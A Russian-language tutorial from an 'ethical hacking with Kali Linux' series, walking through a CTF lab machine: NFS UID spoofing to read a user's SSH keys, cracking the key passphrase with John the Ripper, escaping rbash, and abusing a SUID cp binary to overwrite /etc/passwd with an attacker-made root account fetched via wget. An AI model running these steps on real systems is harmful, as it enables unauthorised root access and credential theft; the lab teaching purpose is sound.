Приветствую тебя, дорогой читатель, в шестой части серии статей «Приручение черного дракона. Этичный хакинг с Kali Linux».
Полный список статей прилагается ниже, и будет дополняться по мере появления новых.
Приручение черного дракона. Этичный хакинг с Kali Linux:
Часть 1. Вводная часть. Подготовка рабочего стенда.
Часть 3. Footprinting. Разведка и сбор информации.
Часть 4. Сканирование и типы сканирования. Погружение в nmap.
Часть 5. Методы получения доступа к системе.
Часть 6. Пост-эксплуатация. Способы повышения привилегий.
Часть 7. Пост-эксплуатация. Закрепление в системе.
Часть 8. Методы и средства внешней разведки.
В прошлой статье мы рассмотрели основные методы эксплуатации уязвимостей в Linux и Windows системах при помощи модулей фреймворка Metasploit. Поговорили о таких вещах как типы полезной нагрузки, кодирование полезной нагрузки, а так же рассмотрели варианты соединения bind и reverse сессий. Однако, получение доступа к целевой системе, это лишь начальный этап проникновения, за которым следует пост-эксплуатация - процесс связанный с повышением привилегий, получения доступа к сторонним службам и закрепления в скомпрометированной системе. С учетом обширности данной темы, мы разобьем ее на несколько частей. В этот раз мы поговорим о способах повышения привилегий в скомпрометированной системе на примере Linux. Так что, дорогой читатель, заваривай чайку покрепче, усаживайся поудобнее в кресло и мы начнем.
По сути, вся эта тема с повышением привилегий в Linux/Unix системах (все же, большая часть сервисов в Enterprise работает именно на Linux/Unix подобных системах. Пользовательский сегмент не берем в расчет), держится на двух основных способах:
1) Использование уязвимостей компонентов самой системы (например, ее ядра)
2) Использование битов SUID/GUID
И если в случае с первым способом, мы говорим об уже знакомых нам эксплоитах, то второй способ заключается в поиске файлов с некорректно выставленными правами. Поэтому тут мы немного задержимся и изучим этот вопрос подробнее, для того чтобы лучше понимать, как это работает.
Для назначения прав во всех Unix-подобных системах используются три группы флагов, первая определяет права для владельца, вторая - права для основной группы пользователя, третья - для всех остальных пользователей в системе.
Для назначения прав файлам и каталогам используются флаги rwx: r - разрешает чтение из файла; w - разрешает запись в файл; x - разрешает выполнение файл.
Стоит отметить такой важный момент, что для каталогов, флаги rwx имеют несколько отличный смысл: r - позволяет читать только имена файлов в каталоге; x - позволяет иметь доступ к самим файлам и их атрибутам (но не именам); w имеет смысл только в сочетании с x, и позволяет (в дополнение к x) манипулировать с файлами в каталоге (создавать, удалять и переименовывать). w без x - не имеет никакого эффекта.
Ниже прилагается таблица распределения прав на файлы и каталоги в Linux (взято с https://help.ubuntu.ru
Для администрирования часто удобнее использовать не буквенное представление прав, а цифровое, в восьмеричном представлении. Так, например, права на файл всем и вся, соответствуют записи 777 (что аналогично символьному представлению rwxrwxrwx).
Существуют также специальные биты, такие как SUID, SGID и Sticky-бит. SUID, SGID влияют на запуск файла, а Sticky влияет на определение владельца объектов в каталоге. При их применении необходимо использовать не три восьмеричных цифры, а 4. Зачастую, в различной технической литературе права обозначаются именно 4-мя цифрами, например 0744.
Флаги прав доступа setuid и setgid позволяют запускать исполняемые файлы с правами владельца или группы исполняемого файла (как правило root пользователя). Такие исполняемые файлы, запущенные с повышенными привилегиями, могут получать доступ к более привилегированной информации. Пример таких программ vim, nmap, nano, cp, find, bash, less, more, ping.
И так, с теорией покончено, переходим к практике. И сегодня мы попрактикуемся немного в CTF, взломав машину под названием Happycorp1 (ссылки для скачивания всех тестовых машин я оставлял в самой первой статье).
Первым делом, запускаем arp-scan либо netdiscover для обнаружения всех хостов в локальной сети.
Видим адрес некой машины VMware. Он нам и нужен. Запускаем nmap с ключом -sV
и смотрим, что тут у нас есть.
Открытых портов на данной машине не много. Всего 4. Есть веб-сервер, и, обычно, если рассматривать машины заточенные под CTF, я начинаю поиски с исследования исходного кода стартовой html страницы (авторы частенько оставляют подсказки в виде закоментированных строк), а так же сканирую при помощи утилит nikto и dirb. Однако, у данной машины тут нет ничего интересного, за что можно было бы зацепиться. А вот порт 2049 очень даже интересен, поскольку на нем работает служба NFS (Network File System), представляющая из себя протокол сетевого доступа к файловым системам. Данная служба позволяет подключать (монтировать) удалённые файловые системы через сеть и позволяет работать с файлами на удаленном хосте так же, как и с локальными. В Linux системах есть на такие случаи специальная команда, которая поможет нам посмотреть список всех удаленных клиентов которые выполняли удаленное монтирование файловой системы на данной машине - showmount. Данная информация поставляется сервером mountd и сохраняется в файле /etc/rmtab. Если аргумент host не указан, используется имя, возвращаемое hostname.
Команда выглядит следующим образом: showmount -e 192.168.1.4
Отлично. Теперь мы знаем, что на целевой машине создан пользователь karl и у него есть свой домашний каталог внутри /home. Попробуем создать директорию и примонтировать к ней через службу NFS этот каталог.
Мы примонтировали каталог к созданной директории и можем вывести список его содержимого. К сожалению, просмотреть отдельные файлы у нас нет возможности ввиду отсутствия соответствующих прав. А теперь внимание, вспоминаем то, о чем я писал ранее и внимательно смотрим на список. Он состоит из нескольких колонок. В первой слева отображаются права на файлы и папки, а вот дальше идут те самые параметры GID и UID (идентификатор группы и пользователя), где мы видим значение 1001. Первое, что приходит в голову, это попробовать создать в локальной системе (на нашей машине с Kali) пользователя с UID 1001 и добавить его в группу с GID 1001. Так и поступим. Заморачиваться с именем пользователя я не стану и пусть его зовут так же karl, а группу назовем nfs. При желании созданного пользователя и группу в которую он входит всегда можно удалить командами deluser <имя пользователя> delgroup <имя группы>.
И так, мы создали группу присвоив ей нужное значение GID, и создали пользователя с домашним каталогом /home/karl и пользовательским идентификатором 1001.
Выведем список пользователей нашей системы и посмотрим, что у нас тут есть
cat /etc/passwd
В прошлой статье мы уже заглядывали в этот файл, в этот раз разберемся подробнее с его содержимым. Для начала обратимся к технической документации и выясним, что значит каждое из полей разделенных двоеточиями.
Username: первое поле представляет имя пользователя. Длина поля имени пользователя определяется от 1 до 32 символов.
Password: второе поле содержащее в себе символ «x» означает, что пароль хранится в зашифрованном виде в файле /etc/shadow. В ранних версиях Linux-систем он хранился тут же в зашифрованном виде. С учетом того, что шифрование MD5 не есть безопасно, позже схема хранения паролей была усовершенствована. В файле shadow к хэшированному паролю добавляется дополнительная строка символов для смешения в функции хеширования называемая соль.
User ID (UID): в третьем поле хранится идентификатор пользователя, который назначается каждому пользователю. Нулевой UID назначается пользователю root, а идентификаторы пользователей от 1 до 99 назначаются предопределенным или стандартным учетным записям. Дальнейшие UID от 100 до 999 назначаются системным административным учетным записям или группам.
Group ID (GID): четвертое поле представляет собой идентификатор группы. GID хранится в файле /etc/group.
Information about User ID: пятое поле предназначено для комментариев. В этом поле мы можем указать полное имя пользователя, либо оставить его пустым.
Home directory: в шестом поле отображается расположение домашнего каталога, назначенного текущему пользователю.
Command shell: последнее поле содержит путь к оболочке используемой для входа в систему.
Самое время проверить сработает ли это. Попробуем переключиться в консоли на пользователя karl и зайти от его имени в каталог .ssh в примонтированном разделе
Отлично! Получив соответствующие права мы смогли зайти в недоступный нам ранее каталог. В нем хранится текстовый файл user.txt внутри которого мы обнаружим первый флаг, а так же авторизованный, публичный и приватный ключи для доступа по SSH. Исследуем каждый из элементов.
Внутри authorized_keys и id_rsa.pub мы видим в конце имя пользователя который создавал сессию karl. С учетом, того, что этот Карл по неосторожности оставил нам в этой папке закрытый ключ, мы можем с помощью него получить доступ к целевой машине по SSH следующей командой ssh -i <имя файла закрытого ключа> <адрес целевой машины>
Однако, тут нас будет ждать неудача. Ключ защищен парольной фразой, без которой подключиться не получится. Что же делать в этом случае? Тут нам на помощь приходит замечательный парень которого зовут Джон! John (он же John the Ripper) — мощнейший инструмент брутфорса паролей по их хэшам. Он способен создавать словари любой сложности, а также извлекать хеш из файла, что является одной из самых сильных сторон john по сравнению с аналогичными программами.
Для начала вернемся к нашему приватному ключу и скопируем его содержимое
от места -----BEGIN RSA PRIVATE KEY----- до места -----END RSA PRIVATE KEY------ после чего вставим в созданный редактором vim либо nano файл на нашей локальной машине.
В моем примере я создал файл для ключа с именем rsa-key в домашнем каталоге пользователя karl. После того, как мы вставили скопированный ключ, жмем Ctrl + X и на вопрос Save modified buffer? - отвечаем y (yes) File name to write – жмем Enter.
Далее, нам необходимо найти в программах Kali коллекцию предустановленных парольных словарей, и запустить процесс распаковки таких как rockyou (именно он нам понадобится).
Храниться все они будут в каталоге /usr/share/wordlists
После этого нам необходимо преобразовать файл ssh-ключа в удобный для работы с john формат. Для этого в его составе имеется специальный конвертер под названием ssh2john. Найти его и все остальные модули для Джона можно в каталоге /usr/share/john
Переместимся в эту директорию и запустим процесс конвертации командой
python ssh2john.py /home/karl/rsa-key > /home/karl/ssh2john.txt
После этого можно смело приступать к процессу брутфорса. Команда будет следующая:
john --wordlist=/usr/share/wordlists/rockyou.txt /home/karl/ssh2john.txt
Ждем несколько секунд и готово! Парольная фраза ключа sheep. Теперь-то мы точно готовы к подключению. Возвращаемся к учетке Карла и переходим в директорию /mnt/happycorp/.ssh где лежит оригинальный ЗАЩИЩЕННЫЙ ключ (наш скопированный для работы с john не является защищенным и поэтому от него уже толку нет никакого. Свою роль он выполнил).
И так, вроде мы подключились но тут вместо привычного удаленного терминала нас встречает rbash (restricted shell bash), командная оболочка операционной системы семейства Linux/Unix, которая может ограничивать некоторые действия пользователей. Вот же зараза! Придется нам переподключаться с возможностью использования удаленного псевдотерминала (вариант с запуском python pty внутри rbash не работает, поскольку мы получаем уже на старте ограниченную shell-оболочку). Вспоминаем скрипт на python:
python -c 'import pty; pty.spawn("/bin/sh")'
Отсюда нам при создаваемом ssh соединении понадобится /bin/sh
Команда будет выглядеть так:
ssh -i id_rsa karl@192.168.1.4 -t ‘/bin/sh’
Ну, вот! Совсем другое дело! Мы успешно подключились к целевой машине, но под пользователем с ограниченными правами. Соответственно, мы не можем выполнять никаких действий требующих повышенных прав и полномочий (создание новых групп и пользователей, редактирование системных файлов и т. д.). И вот тут мы подходим к тому самому моменту, ради которого выполнялись все предыдущие действия — повышение привилегий. И помогут нам в этом те самые файлы и утилиты которые запускаются с привилегированными правами от root, но при этом могут использоваться и обычными пользователями (например, команда ping). Для того, чтобы найти такие файлы в системе необходимо ввести следующую команду:
find / -perm -u=s -type f 2>/dev/null
Перед нами появится следующий список, в котором присутствуют различные файлы, в том числе файл команды cp, которая позволит нам копировать что угодно и откуда угодно не смотря на наши ограниченные права пользователя в данной системе! А это значит, что мы можем, к примеру, методом копирования заменить файл passwd в директории /etc/ на свой отредактированный вариант. Что ж, это будет весьма интересно. Приступим!
Для начала откроем содержимое файла /etc/passwd, и, скопировав его, создадим редактором nano новый файл с точно таким же названием в директории /var/www/html.
И тут нам необходимо вспомнить важный момент касаемо того, как устроен файл passwd (я писал об этом ранее в начале статьи). Вместо знака x в ранних версиях Linux тут стояли зашифрованные пароли. Значит, нам необходимо добавить строку для нового пользователя с правами как у root, соблюдая все правила форматирования данного файла и вместо x подставить зашифрованный в MD5 пароль этого пользователя. В этом деле нам поможет такая утилита как mkpasswd
Параметров у нее не так уж и много, нам понадобится следующий вариант команды
mkpasswd -5
Я создал пароль «bingo» и его закодированный в MD5 вариант я подставлю в то самое поле вместо значения x
Отлично! У меня есть пользователь demigod с правами суперпользователя root (я просто скопировал строку с параметрами пользователя root и отредактировал первые два значения), а значит, остается лишь подменить мой отредактированный файл на целевой машине.
Подготовим среду, для обмена файлами между нашей машиной с Kali и атакуемой машиной. Не будем изобретать велосипед и воспользуемся проверенным способом из прошлой статьи — веб-сервер на базе Apache. Запустим его и проверим состояние:
systemctl start apache2.service
systemctl status apache2.service
Далее, при помощи команды wget скачиваем с нашего веб-сервера отредактированный файл passwd
wget http://192.168.1.6/passwd
Замечательно! Остается лишь подменить файл на исходный в каталоге /etc/ и попробовать сменить пользователя на demigod
Бинго!!! Мы получили заветную решетку root пользователя в терминале. Самое главное, помнить, что подобные эксперименты можно проводить лишь на собственных ресурсах либо с письменного соглашения тестируемой стороны. В противном случае, можно попасть под статью в уголовном кодексе о неправомерном доступе к компьютерной информации и «получить» совершенно другую решетку. Остается забрать последний флаг в папке /root
Подводя итоги темы касаемо повышения привилегий в любой системе, при ее обслуживании и конфигурации, стоит помнить о двух ключевых моментах:
1) Если даже система работает стабильно годами, это вовсе не значит, что она совершенна и ее ни в коем случае нельзя трогать. Именно любимое правило многих сисадминов «Если работает — не трогай!» приводит чаще всего к тому, что с годами в этой сверхстабильной системе накапливаются дыры в безопасности, и в конечном итоге, в один прекрасный день ты осознаешь, что твой сервер уже и не принадлежит тебе…
2) Когда в системе создается какой-либо пользователь или добавляется «для удобства работы» какой-либо сервис, убедись в том, что настройки этого сервиса и права данные этому пользователю не позволят в будущем привести к печальным и необратимым последствиям.
На этой ноте я прощаюсь с тобой, мой дорогой читатель, до новых встреч, в цикле статей «Приручение черного дракона. Этичный хакинг с Kali Linux”. И самое главное, помни всегда, что...
